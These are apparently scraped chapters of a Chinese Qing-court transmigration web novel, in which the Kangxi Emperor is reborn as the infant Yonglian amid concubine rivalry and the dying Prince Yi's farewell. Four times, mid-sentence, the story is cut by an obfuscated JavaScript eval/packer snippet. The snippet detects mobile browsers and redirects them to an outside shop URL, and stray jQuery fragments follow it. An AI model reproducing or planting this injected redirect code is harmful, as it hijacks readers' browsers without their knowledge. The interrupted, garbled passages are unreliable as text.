金氏娇娇地笑了声,靠在弘历膝头上说道:“如今福晋和富察姐姐都有孕在身,妾身虽然不才,可入府也有些时日了,自然想着能为福晋分忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533866|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说完她观察了一番弘历的神色,继续说道:“富察姐姐这一胎怀地辛苦,人瘦了老些,每日都是恹恹的,大阿哥又正是调皮的时候,妾身想着不如挑个合适的人帮忙照顾着大阿哥,也好让富察姐姐安心养胎。” 这话金氏确实没扯谎,富察氏这一胎怀地格外辛苦,几乎是一点东西也吃不下,吃什么吐什么,整日里没什么精神,十二个时辰里有十个时辰都在床上躺着。 弘历抬了抬眼,差不多的话昨日高氏也同他说过。 高氏的意思是想把永璜接到她那去照顾,金氏虽然没有直接说,但是话里话外自然也是这个意思,两个人都盯上了永璜。 弘历懒地掺和她们俩之间这笔糊涂账,和应付高氏一样含糊地说此事要和宝琳商量。 第二日弘历走了之后不久,苏氏就来了。 这一年多来,金氏和苏氏的同盟关系还是比较牢靠的,两人之间虽有些虚情假意,但如今确实是一条绳上的人。 “妹妹,昨儿王爷怎么说?”苏氏问道。 金氏正在梳妆,闻言眼都没抬地说道:“还能怎么说,这种事终归要问过福晋。” “那可就糟了。”苏氏说道:“谁不知道福晋一向和侧福晋亲厚,必然是将大阿哥给了她了。” 苏氏喝了口茶,继续说道:“如今这富察格格又有了身孕,待这孩子生下来保不齐就要请封侧福晋了,到时候还哪有咱们的份。” 王爷日后是要当皇帝的这她们都知道,所以这潜邸里的位份就更要紧了,但凡坐上侧福晋的位置,来日册封时起码也是个妃位,若只是个小小的格格,那还得从常在贵人开始熬,还不如如今临门一脚来地便宜。 “所以咱们才不能让她这个孩子生下来。”金氏冷冷地说道:“她的出身还没有咱们好,仗着肚子争气就想爬到前头去?做梦。” 金氏想抚养大阿哥,也是想着待到来日富察氏生产之时动些手脚,让她一尸两命,到时她便可以顺理成章地一直抚养大阿哥,有了大阿哥在,再加上她的宠爱,便能往侧福晋拼一拼。 只是高侧福晋横插一脚,真是麻烦。 “那咱们如今还能怎么办?”苏氏也忧心忡忡。 宝琳和高氏亲厚,这是谁都知道的事。 金氏扶了扶鬓角,满意地看了看头上簪的八宝金钗,说道:“那就让福晋想偏心也偏心不得,不就得了。” 一大早正院里陆陆续续就搬来了不少牡丹,说是金格格给二阿哥赏玩的。 玄烨皱着眉看着那些牡丹,心道金氏还真是用心险恶,看着是恭敬地讨好,实则是满府里告诉额娘纵容他欺压庶母,摘了几朵花不说还让人把花全送来了正院。 宝琳显然也看地明白,她站在廊下看了一会,玄烨便跑了过去。 “额娘,您别生气。” 宝琳笑了笑:“额娘没生气。” 想讽刺她恃宠生娇? 那她就恃宠生娇给她看看。 “芙蓉,让人把这些花都摆在院子里,最显眼的地方。”宝琳吩咐道。 芙蓉应了声是,立刻着人去办了。 14. 第十四章 中午时分弘历来了正院,看到宝琳正坐在廊下,芙蓉和杜鹃在一旁给她打扇,弘历一进了院子就看到宝琳脸色不佳,蹙着眉头很是不舒坦的模样。 “这是怎么了?” 弘历赶忙上前,执起宝琳的手关切地问道。 宝琳想要起身也被他按下,只能笑了笑说道:“没什么,金妹妹送了些花来,说是给永琏赏玩的,永琏那个皮猴哪里能静下心来看花,倒是都便宜妾身了。” 弘历抬眼看了看那几十盆花,熙熙攘攘地摆了一院子。 “福晋还说呢。”心直口快的芙蓉立刻说道:“这眼看入夏了,这花最爱招些蚊虫,这一摆上,福晋连院子都逛不得了。” 弘历一听果然眉头便拧了起来。 “那便让人搬出去。” 宝琳柔声说道:“这到底也是金妹妹的一片心意。” “而且……妾身也不瞒王爷,永琏前些日子折了高妹妹几朵花,如今高妹妹又送了这么些花来,若是处置地不好,难免会有人非议永琏欺辱庶母。” 宝琳性子是柔和,平常也不掺和后院那些妾室们的斗法,可这不代表她没有手腕。 而且这两年来她也摸清楚了弘历的脾性,简而言之就是喜欢柔顺,全心全意依赖他,信任他的女人。 宝琳作为他的发妻,和金氏她们相比有一个先天的优势,那就是她和弘历的利益是绝对捆绑在一起的,加上自从她嫁过来之后在弘历面前经营的人设就是坦诚相待,这更让弘历觉得他们是至亲夫妻,是枕边人。 所以很多事宝琳办起来反而简单,直说就好,弘历也只会觉得宝琳是全身心地信任他,这些都是他们夫妻之间的私房话。 只是这坦诚也是需要些方法的。 果然弘历听完也皱着眉头说道:“金氏……” 说到底不过是几朵花的事,福晋还怀着身孕,金氏也太能闹腾了些。 “金妹妹想来也不是有意的,只是没想地那么周全。”宝琳说道:“都是些小事,王爷别生气。” “你如今怀着身孕,这哪是什么小事。”弘历扶着她站起来往屋里去,轻声说道:“这事你不必管了,待会本王便让李玉带人把这些花都丢出去。” 李玉闻言也立刻让人去挪花了。 弘历出面把花从正院挪出去,那就打的是金氏的脸了。 两人刚进了屋中坐下,李玉便进来了。 “王爷,福晋,刚刚富察格格院子里的人来报,说今儿侧福晋带着大阿哥去红莲池赏鱼,不成想大阿哥滑了一跤,跌进池子里去了。” 宝琳瞬间变了脸色:“什么,大阿哥可要紧?” “好端端地怎么会摔到池子里去?”弘历也沉了脸,冷声问道。 李玉也是一脑门子的汗,赶忙说道:“王爷放心,大阿哥救治及时,只是呛了几口水受了些惊吓,如今已经没什么事了。” “侧福晋如今正在院外候着,向王爷和福晋请罪。” 宝琳听完觉得这事有些蹊跷,金氏和苏氏联手想要跟高氏争夺永璜这事,她也是有所耳闻的,今儿这事她总觉得和金氏有脱不了的干系。 宝琳看了弘历一眼,见他面沉如水,薄唇紧抿,就知道他现在是生了气的,只是她现在还拿不准弘历是因为高氏疏忽生气,还是后院的女人拿永璜做筏子生气。 不过现在还是得让高氏进来才能知道到底是怎么回事。 “王爷,先让高妹妹进来,咱们听听是怎么回事吧。”宝琳说道。 弘历点了点头,看了李玉一眼。 李玉会意,立马退了出去,没一会高氏就进来了。 她也是被永璜的落水给吓了一跳,今儿她本是想着带着永璜出去逛逛,和孩子培养培养感情,若是永璜开口想让她抚养,那王爷八成也不会拒绝,结果没成想她扭头拿个鱼食的功夫,永璜竟然就掉进了水里去。 宝琳看高氏也是脸色煞白,颤颤巍巍地跪在地上请罪也叹了口气,问到底发生了什么事。 这事似乎说起来也很简单,就是永璜调皮往池子边上走了两步,一个脚滑便摔了进去,周遭的下人们都亲眼所见,永璜醒过来之后也是这么说的。 所以最后也只能怪高氏疏忽,照顾不当。 “永璜如今不到三岁,你既带了他去水边,便当用心些。”弘历沉着脸斥责她:“万幸永璜没事,若是有个三长两短,你今儿就不用在本王面前请罪了,有什么话就到宗人府里说去吧。” 这话一出高氏顿时抖如筛糠,哭地梨花带雨。 宝琳安抚道:“王爷息怒,高妹妹一时疏忽差点酿成大错,好在永璜自有上天庇佑,高妹妹也是受了不小的惊吓,您罚了她也就是了,别吓她了。” 弘历转了转手上的扳指,到底还是念及她刚封了侧福晋,不好太下了她的面子,沉吟了一会说道:“高氏,燥心浮气,浅衷狭量,禁足半年,好好静静心吧。” 高氏抽抽噎噎地谢了恩。 直到高氏离开之后,弘历才喝了口茶,与宝琳说道:“前些日子高氏吵着要养永璜,昨儿金氏也嚷嚷着要为富察氏分忧,只是她们这个样子如何能够养地好孩子?” 在他心里,至善至美,完美无瑕的还得是宝琳,只是如今宝琳也身怀有孕,顾不上永璜。 “富察妹妹有孕辛苦,两位妹妹也是热心肠。”宝琳笑着说:“永璜该交由谁暂且照看,王爷心里可有人选了?” 弘历摇了摇头,他刚刚想了半晌也没想到哪个合适些,只能又询问宝琳的意见。 “妾身这些日子也在思量。”宝琳思忖着问道:“王爷觉得,苏妹妹如何?” “苏氏?” 弘历微微皱眉。 他对苏氏印象不算深,只记得模样长地还算标致,性子确实比金氏和高氏平和地多。 宝琳柔声说道:“珂里叶特妹妹和陈妹妹住在一个院子里,养着永璜怕是不方便,苏妹妹自己一个人住着,性子也温和,平日里和富察妹妹关系也不错。” 弘历对这事论起来也不算太上心,毕竟也只是暂为照看,等富察氏生产完之后永璜定然是要送回去的,所以既然宝琳这么说了他便没再多想,同意了。 好不容易把永璜的事商议完了,弘历不免得又想起玄烨来。 “今儿怎么没见着永琏?” 永琏平日里可是最粘宝琳的,对他这个阿玛反而是不远不近地守着礼数,有时候弘历都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533867|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些吃宝琳的醋。 “永琏正看书呢。”宝琳语气里也难免带上了些骄傲,笑着说道:“自从您给他启蒙之后,这孩子便常常在书房里。” 提起这个宝琳都觉得惊讶,永琏简直堪称是神童了,几个月前弘历也不知道是怎么来了兴致,带着永琏识字,没想到永琏进步堪称飞快,没多长时间基本就能自己看书了,弘历惊喜不已,那几天出门都是飘着的,逮着谁都得跟人唠几句他儿子是个神童。 什么三岁背唐诗,五岁识千字,他家儿子两岁多就能通读春秋左传了! 玄烨现在也确实是在书房里看书,他知道金氏耍的那些小伎俩额娘应付地来,所以也不怎么担心。 自从他一岁之后,鸢尾就回了宝琳身边,如今他身边贴身伺候的是宝琳精挑细选的两个小丫头,玟玉和玟晴,另外就是李德全了,只是李德全知道自己年纪大了所以还特意挑了个叫陈之的小太监,如今正手把手调教着。 玟玉端了碟糕点过来,轻声说道:“主子,王爷刚刚过来了,让人把屋外的花都挪出去了。” 玄烨嗯了声,说罢挽了挽袖口,提笔写了几个字:“你先下去吧。” 玟玉应了声是,就退了下去。 屋内便只剩下了玄烨和李德全两个人。 李德全站在玄烨身旁,额头上已经全是冷汗,两股战战。 等到玄烨气定神闲地写完几个字之后,李德全更是嘴唇嚅嗫着,扑通一声就跪了下来。 玄烨似笑非笑地看着他:“怎么了?” “皇……皇上!” 玄烨撂下笔,问道:“认出来了?比朕想的要晚了些。” 李德全老泪纵横,前些日子他就发觉二阿哥和从前有些不同,起身穿衣时的动作,喝茶用膳时的规矩,都像极了先帝爷。 而这些小习惯从前二阿哥都是没有的。 他心里直打鼓,一个匪夷所思的想法在他脑海里盘旋,没想到这竟然是真的。 皇上真的回来了! 直到方才玄烨提笔写了几个字,才让李德全彻底确实这就是他侍奉了半辈子的康熙爷。 玄烨把那张宣纸扯出来,揉成一团丢给了李德全。 “把这处理掉。” 他在外人面前可还是不会写字的,这要是被别人看到就麻烦了。 李德全自然也明白,赶忙拿着烧掉了。 “皇上,您……您是何时回来的?”李德全试探地问道。 他在二阿哥身边服侍了一年多,当真是一点都没察觉。 “一睁开眼便是如今这幅模样了。”玄烨瞥了他一眼,说道:“朕有心瞒着,你自然看不出来。” 玄烨旁的不说,上一世儿子女儿加起来四五十个,更不用提孙辈了,小孩子他是见的最多的,自然也就会伪装。 李德全激动之余,脑子还算清醒,皇上瞒了这么久最近却刻意想让他知晓,那定然是有事想让他去办。 玄烨本想着到他掌握大权之前,不会透露此事,如今他告诉李德全,也确实是有紧要的事。 他想去单独见一面老十三。 只是玄烨没想到,胤祥竟然不请自来,先一步拖着病躯来了宝亲王府。 15. 第十五章 胤祥到宝亲王府时,弘历入宫和雍正商议前线战事去了,所以胤祥便直接到正院见了宝琳。 宝琳算起来也有一个多月没见到这位十三叔了,今儿一见把她吓了一跳,明明一个多月前还是说说笑笑的一个人,虽算不上健步如飞但看着起码算是康健,只是一直咳嗽,没想到今日一见竟瘦了老些,能看出来今日怡亲王是特意收拾了,强打着精神来的,可身上的病气还是怎么都遮盖不住了。 “十三叔怎么来了?” 宝琳赶忙上前,亲自扶着胤祥坐下。 胤祥咳了两声,随身的太监立刻给他轻捶了捶背。 芙蓉上了茶,宝琳又吩咐她去取几个软垫来。 如今天气渐热,宝琳这的软垫,枕靠前几日都已经撤了。 胤祥连忙说道:“不用忙了,我今儿过来也是有个不情之请。” 宝琳:“十三叔但说无妨。” 胤祥踌躇了片刻,小心翼翼地问:“不知永琏可在,我想见见永琏,和他说几句话。” 不怪胤祥这般小心翼翼的请求,他如今这副行将就木,命不久矣的模样,许多人都避之唯恐不及,更不用说是见一个两岁的孩子了。 只是没想到他这个侄媳妇听罢,笑地很是柔和,亲切地说道:“十三叔是长辈,您来了,永琏自然得来请安,他就在书房呢,我这就让人把他喊出来。” “不必不必,我过去寻他即可。”胤祥说道:“不瞒福晋,我也是想和永琏单独说几句话。” 宝琳看到胤祥带上了哀色的眼神,心中一怔,旋即也反应了过来。 怡亲王怕不是有话要对永琏说,而是想要和自己已故的皇阿玛,康熙爷说吧。 念及此,宝琳也没再说什么,只是让人领着胤祥去了书房。 玄烨对胤祥的到来也是有些措手不及,彼时他正和李德全商议着该如何去怡亲王府见上老十三一面,不成想老十三自己就来了。 李德全眼睛转了转,立刻打了个千说道:“哎呦,十三爷您怎么来了?” “玟玉,还不快给十三爷上茶!” 玄烨也从椅子上跳了下来,看着自己这个儿子病入膏肓的模样,心中暗暗叹了口气,面上还是十分恭敬地喊了一声叔爷爷。 “不必了,李公公,让屋里的人都下去吧。”胤祥咳了两声说道:“本王想和永琏还有你说几句话。” 李德全哎了声,给玟玉和陈之使了个眼色,这两人就立刻领着屋子里剩下的丫鬟太监出门去了。 李德全扶着胤祥坐下,刚想去倒杯茶,也被胤祥拦下。 “不必忙了。”胤祥眯起眼睛看向一旁的玄烨,感慨道:“永琏真的是越来越像皇阿玛了,不止样貌,气度也像极了,李公公,您说是不是?” 李德全心道,这就是皇上转世,可不是像嘛! 只是皇上叮嘱了,不能向任何人提起,所以他也只能看着这两父子当面不识。 胤祥看向玄烨,招了招手:“永琏,来。” 玄烨抿唇,上前了两步:“叔爷爷。” 胤祥拉过玄烨的胳膊,摸了摸他的头,笑着说道:“叔爷爷本想抱抱你,可惜没力气了。” 李德全在一旁悄悄别过脑袋去,擦了擦眼泪。 若是他不知道二阿哥是皇上还好,这知道了之后再看到这一幕,当真是忍不住老泪纵横。 尤其是他还不由得想起十三爷小时候,皇上也是这么摸着他的头,哄着他玩的。 唉。 胤祥眼神有些涣散,似乎是想起了什么。 “永琏,你应当知道你生地很像你太爷爷。”胤祥问道:“那你知道,你太爷爷是个什么样的人吗?” 玄烨想了想,还是摇了摇头。 以他如今这不到两岁的年纪,不知道才是正常的。 而且,他也想听听,在老十三眼里他是一个什么样的人。 “你太爷爷,是古往今来最出色的皇帝。”胤祥含笑,缓缓地说道:“你太爷爷八岁登基,十四岁亲政,十六岁擒鳌拜,随后平定三番,□□,三征准噶尔,在位六十一年,我大清海晏河清。” “只是可惜你太爷爷不曾见过你。”胤祥看了看仰头看着他的玄烨,说道:“否则,他一定高兴坏了。” 窗外吹进了一股伴着花香的清风,带着丝丝凉意,李德全赶忙过去把窗户关了。 玄烨没说话,半晌后才说道:“阿玛常说,太爷爷从前极疼他。” “弘历那小子……”胤祥笑了笑,说道:“你太爷爷最疼爱的,还是你二叔爷爷,你堂叔弘皙你可见过,想当年你太爷爷亲自把他在宫中抚养到十四岁,想来那时候皇阿玛也是把弘皙当做太子的接班人来培养了。” 李德全在旁边听地冷汗直冒,心道这十三爷怎么偏偏提起废太子来了,这皇上听了心里能好受吗? 胤祥现在也是病地重了,所以是想到什么便说什么,他说完废太子一家,又突然转了话锋说起自己幼时的事来。 说起来胤祥小时候康熙也是真的格外疼爱他的,一心想要让他成为太子的臂膀,可惜在一废太子之后,胤祥便察觉出太子并非明主,所以不再支持太子复立,这一来就把玄烨气地够呛。 父子俩大吵了一架,在他眼里那时的胤祥是不孝不悌,心思歹毒之辈,一怒之下就把他关在了宗人府好几年,直到太子再次被废之后又过了几年,胤祥才被放出来,只是在此之后他们父子之间就再也不复从前了。 他断断续续地说起以前玄烨手把手教他读书,骑马,射箭的事。 胤祥看向李德全,问道:“李公公,您说皇阿玛那时候是不是也很疼我?” 李德全看了一旁面沉如水的玄烨一眼,点了点头,说道:“是,皇上一向是很疼爱十三爷的。” “你太爷爷偏心地很,那时候只疼爱太子,捎带手地也疼疼我。”胤祥眨了眨眼,笑着说道:“把大哥,四哥和八哥都折腾地够呛,有时候我在想,在皇阿玛眼里我们到底是他的儿子,还是仇敌。” 李德全在旁边欲言又止,听到这实在是听不下去了,赶忙说道:“十三爷,您先歇歇吧。” 守着皇上跟前说这些,您敢说他都不敢听啊! “我如今是马上就要去见皇阿玛的人了,不妨事。”胤祥挥了挥手,还是颇有年轻时侠王的气魄,他看着酷似康熙帝的永琏,说道:“等我下去了,我一定要问问皇阿玛……” 后面的话他没有说出口,只是玄烨明白他想说的是什么。 对于老十三,玄烨作为阿玛,心里也是有那么些愧疚的。 老十三是他除了胤礽之外,幼时最亲近的一个儿子了,可也是在夺嫡之争中,除了胤禔之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16538817|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,唯一一个亲手被他关进宗人府的儿子。 胤禔是魇镇太子实在不像话,而胤祥…… 玄烨那时候偶尔想起胤祥更多的则是不想面对这个儿子。 有时他也会想若不是胤祥脾气这么执拗,直来直去不懂变通,他也不会一气之下把他关进宗人府。 只是他和老十三之间走到这一步,也是说不清道不明的一笔糊涂账了。 胤祥的身子到底是太弱了,没说上几句话就有些气喘吁吁,最后他拉着玄烨的手说:“永琏,弘历最疼爱你,可你也要记着,他不仅是你的阿玛,以后更会是皇帝,要时时刻刻谨慎着。” 玄烨点了点头。 老十三这是怕他步胤礽的后尘。 直到胤祥离开,玄烨还有些久久缓不过来。 李德全上前说道:“皇上,您也别太难过了。” “十三爷在病中,难免说话有些过了,您别放在心上。” 玄烨垂着眼,问道:“李德全,你说在朕这些儿子眼里,朕算是个好阿玛吗?” “那自然了。”李德全赶忙说道:“您没见十三爷刚才是如何崇敬您的。” 玄烨笑了声,缓缓地说:“他崇敬的是大清的圣祖仁皇帝。” 饶是李德全如今也不知该说什么,好在这时候宝琳来了。 玄烨一见宝琳来了,立刻换了一副表情,从椅子上跳下来。 “额娘。” 宝琳笑了笑,俯身把他抱进怀里,说道:“见过你叔爷爷了?” 玄烨:“嗯。” 宝琳牵着他的手,抱他到榻上坐着。 “你叔爷爷是生了病,你别害怕。”宝琳轻声说道:“他是极疼爱永琏的,以后叔爷爷要是再来,你就多陪他说说话。” 玄烨点了点头,心里清楚额娘是怕他见了病入膏肓的老十三吓着。 宝琳给他理了理衣裳,惊讶地发现,这衣裳竟然有些小了。 “我们永琏又长高了,也壮了,真好。”宝琳笑着说:“前些日子你不是说看到永璜在园子里玩秋千吗,额娘让福海在咱们院子里也扎了一个,待会额娘陪你去玩。” 玄烨没想到额娘还真的给他扎了个秋千,有些哭笑不得。 他只是那日碰到永璜在外头荡秋千,随口跟额娘提了一嘴,没成想额娘就放在心上了。 玄烨心里暖暖的,一旁的李德全看着这母子情深的模样也是欣慰不已。 哪怕是他都没见过皇上在谁面前这么轻松的模样。 玄烨刚见过了老十三,现在对亲情也是格外渴望,所以难得抱着宝琳的胳膊撒娇:“额娘,我中午要吃金丝虾还有蜜瓜乳酪。” “好,额娘给你做。” 李德全赶忙说道:“福晋,您还怀着身孕呢,还是少进厨房那油烟之地了。” 宝琳抱着玄烨,笑着说道:“不妨事,做些点心而已,永琏这个嘴刁地很,旁人做的他还不爱吃。” 玄烨心里暖洋洋的,说道:“那我和额娘一起做。” 说完他想了想还是问道:“额娘,叔爷爷还会再来吗?” 宝琳想了想:“额娘也不知道,若是你想叔爷爷了,额娘便带你去看他。” 只是玄烨和宝琳都没想到,胤祥从宝亲王府回去之后第二日,情形就急转直下,已然是到了弥留之际了。 16. 第十六章 宝琳知道这个消息的时候正带着玄烨在园子里散心。 玄烨戴着顶灰金色的小帽,手里拎着宝琳给他扎的小鱼儿提灯,牵着宝琳的手漫无目的地陪着他额娘在园子里闲逛。 自从昨日见了老十三之后,玄烨的心情就一直不怎么好,郁郁寡欢的,虽然他掩饰地极好,可宝琳还是一眼就看出来了。 可是玄烨打小就早慧,很多事情他不愿意说宝琳也不勉强,只是她自己琢磨着永琏到底还小,乍一见了这样病重的人,而且这人还是打小对他不错的长辈,有些害怕和心情不佳也正常。 所以便想着带他出来逛逛散散心。 园子里风光正好,玄烨却没什么心思,心里总觉得像被一团湿漉漉的棉花堵住一般,闷地难受。 只有陪在旁边的李德全了解如今玄烨的感受,也时不时地叹气。 连他听了十三爷昨天的那一席话心里都难受地紧,更不用说皇上了。 白发人送黑发人,古往今来都是痛不欲生的。 更不用说皇上和十三爷之间还有那么些结没有解开。 走了一段路,转过听音阁,后头有一个依山傍水的亭子,宝琳本想带着玄烨进去歇歇,不成想他们来地不巧,里头已经有人了。 “昨儿刚得了大阿哥,今儿就领着大阿哥出来玩了?” 宝琳听到这有些细又娇滴滴的声音便顿住了脚步,抬眼一看果然是金氏在亭子里。 她执着把玉骨削金的团扇,正靠坐在栏杆上,穿着一身水红色的衣裳,头上的玉饰碧透,加之其面容姣好,在后头的花团锦簇的陪衬下倒真像是花丛里的仙子。 金氏的容貌在整个宝亲王府都能算得上是拔得头筹的,否则也不会干了这么多糊涂事,弘历还照样往她院子里去,宝琳心道这可能就是笨蛋美人吧,貌美却实在愚蠢。 对此玄烨的评价是——吃点好的吧! 漂亮,懂事又聪慧的女人有的是,偏偏弘历这小子跟没见过世面一样,要是他不那么宠爱金氏,府里能少多少事。 金氏这话显然是对苏氏说的,宝琳往一旁看了看果然看到了苏氏正站在一边,大阿哥被身后的乳母抱在怀里,兴许是昨日刚溺了水的缘故,还有些蔫蔫的,正趴在乳母的肩膀上,也不知道是不是睡着了。 苏氏讷讷地站在一边,她在府里宠幸不多,一向都是依附着金氏的,可谁成想金氏一直想要的大阿哥竟然落到了她的身上。 所以金氏自然看她是横挑鼻子竖挑眼,怎么看都不顺眼。 加上昨日王爷出面把她送去正院的花都给扔了出去,让她在整个王府里没脸,紧接着福晋又把大阿哥给了苏氏,差点把金氏气地背过气去,她也不由得心里生了疑影,怀疑是不是苏氏暗地里投靠了福晋。 “妹妹,消消气。”苏氏赔笑道:“总归大阿哥是交由了我照顾,没便宜了侧福晋。” 金氏翻了个白眼,冷哼了一声。 “她想养,更是做梦!” 金氏看了一眼大阿哥,不知为何突然鬼迷心窍,说道:“论起来,谁要是能养了二阿哥,那才真是……” 对金氏这个蠢货一点兴趣都提不起来的玄烨,一听到这话立刻就皱紧了眉头。 这女人还真敢想! 就连李德全都变了脸色,福晋好端端地怎么可能会把嫡子给妾室养,除非福晋不在了。 金格格这话细究起来就是大不敬,诅咒福晋。 苏氏显然也明白这个道理,慌忙说道:“妹妹,这话可不能乱说。” “我不过是随口一说。”金氏回过神来也知道自己说错了话,只是依然端着架子,摇了摇扇子不说话了。 玄烨也已经知道了昨儿宝琳做的安排,起初他刚刚降生的时候,看到额娘这么温柔良善还一直害怕额娘被那群女人生吞活剥了,可是慢慢地他就发现,额娘是善良可不是愚善,有手腕只是不会去害人,宝亲王府里头这些女人,额娘拿捏她们还是轻轻松松的。 就如同昨日金氏折腾的这些事,额娘是四两拨千斤地打了回去,又把永璜给了苏氏照顾,以金氏那张扬的性子,自然而然就会和苏氏起了龌龊,高侧福晋禁足,难免金氏一家独大,让这两人斗起来,额娘就安生多了。 只是金氏今日这口出狂言…… 玄烨仰起头看向宝琳,却没见她脸上有什么怒气。 说真心话,宝琳对金氏这个宠妾还真是挺满意的。 美貌又愚蠢,而且性格张扬说话不过脑子,自己就能把自己作死。 偏偏她争宠技能又点满了,或者说长相长到了弘历的心坎里,很能拢地住弘历,有这个一个宠妾在,她省多少心啊。 宝琳知道她脑子缺根筋,又被昨天的事气地心慌意乱,自然也不会跟她计较,本想着带着玄烨往别处去,结果李玉匆匆地找了过来。 “福晋,可找着您了!” 李玉这一出声,把金氏和苏氏吓了一跳,金氏直接蹦了起来,从亭子里往下张望,果然看到宝琳在下头,她心里一慌,不知道宝琳来了多久了,又听见了多少。 想到这她回头狠狠地瞪了苏氏一眼,更想着这是不是苏氏和宝琳故意给她设的套。 苏氏被金氏这一瞪,也是心头火起,她本就没做什么,今儿还低声下气地来求和,结果这金氏还蹬鼻子上脸了。 宝琳看着李玉跑了一脸汗,便知道定然是有什么急事,连忙问道:“这是怎么了?” “十三爷不好了,皇上和王爷刚出了京城原打算去河南巡视,如今得到了消息也正往回赶,王爷的意思是让您先去怡亲王府照看着。” 宝琳大惊失色:“昨儿十三叔还来了府上,怎么今天就不好了?” 李玉也是苦着一张脸,只说是一早突然就不好了。 怡亲王若是薨逝和前头的淳亲王可不是一回事,所以弘历一得知消息就赶紧让人快马加鞭地回来,先让宝琳去怡亲王府看看。 宝琳知道轻重自然也不敢耽搁,她扭头一看玄烨也愣在了原地,听到她叫才缓慢地眨了眨眼。 “永琏,你先跟李公公回去等着额娘,额娘要出去一趟。” 玄烨没想到老十三竟然这么快就不行了,慌乱之间他扯住了宝琳的袖子,说道:“额娘,我跟您一块去吧。” 宝琳倒不觉得玄烨跟着去会添乱,只是昨儿见了一面玄烨就闷闷不乐成这样,若是今儿怡亲王真的薨逝了,还不得给孩子留下心理阴影,所以宝琳又劝了几句,可玄烨态度坚决,一定要去。 李德全也帮着说话:“福晋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16546558|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨儿十三爷还和二阿哥说了好一会话,如今带着二阿哥过去兴许还能吊一吊十三爷的一口气,说不准还能撑到皇上和王爷回来。” 宝琳听了犹豫了片刻,觉得有些道理,又见永琏十分坚持,只能带着他一块去了。 一到了怡亲王府,里头果然已经是哀戚一片,怡亲王福晋亲自在府外迎了宝琳,宝琳一下马车便看到她通红的眼眶,嘴唇也干裂泛白,人憔悴了不少。 “婶婶,十三叔如何了?” 两人携手往府里去,宝琳赶忙问道。 怡亲王福晋摇了摇头,低声说:“太医说不大好了,如今用人参吊着气,府里的一应东西都已经预备下了,也算是冲冲喜。” 玄烨跟在后头,也看到怡亲王府里已经开始准备丧仪用的纸钱灯笼和白布,明明是初夏,却让人感觉冰冷无比。 宝琳叹了口气,生老病死,这也是没办法的事。 “怎么把二阿哥也带来了?” 怡亲王福晋这才看到玄烨,惊讶地问道。 宝琳:“永琏惦记十三叔,非要跟着过来。” 怡亲王福晋自然也知道胤祥昨日强撑着病躯,去了宝亲王府的事,她抹了抹眼泪,说道:“好孩子,不枉你叔爷爷疼你一场。” 到了正院,宝琳本想进去探望一番,却被怡亲王福晋拦住了。 “你如今怀着身孕,王爷那又……总得避讳些。” 民间常有“借气”的说法,若是身怀有孕的女子和即将咽气的人同处一室,会妨害了肚子里的孩子。 宝琳虽然不信这些,可守着这么多人也确实不好进去,只能陪着怡亲王福晋在外头等着,帮着料理些事务。 玄烨一直定定地看着那扇房门,半晌后他问道:“额娘,我能进去看看叔爷爷吗?” 宝琳和怡亲王福晋对视一眼,永琏进去倒是没什么,只是怕小孩子受了惊吓。 李德全在一边立刻说道:“福晋放心,奴才陪着二阿哥进去。” 怡亲王福晋心想兴许王爷见了二阿哥能再提一提气也不一定,于是便同意了,宝琳抿着唇到底也没拦,目送着玄烨进去了。 玄烨一进了卧房,便闻到浓重的药味,只是和他想象地老十三躺在床上奄奄一息的模样不同,胤祥正靠坐在床头手里拿着几张宣纸,似乎是些建造图纸一般的东西。 胤祥的长子弘昌正守在一边,听自己阿玛交代。 “这是我刚刚画好的陵寝图,待我死后告诉你皇伯伯,就按这个来建就好,万万不能逾越了规制,听明白了吗?” 弘昌含着泪点头。 阿玛一早起来就不舒坦,可还是强撑着把陵寝图画完了,因为他心里知道一旦他走了,皇伯伯必然是悲痛至极,到时丧礼的规格陵寝的规制恐怕都要突破祖制。 交代完这个胤祥才终于松了口气,仰头往后倒去。 “阿玛!”弘昌赶忙上前。 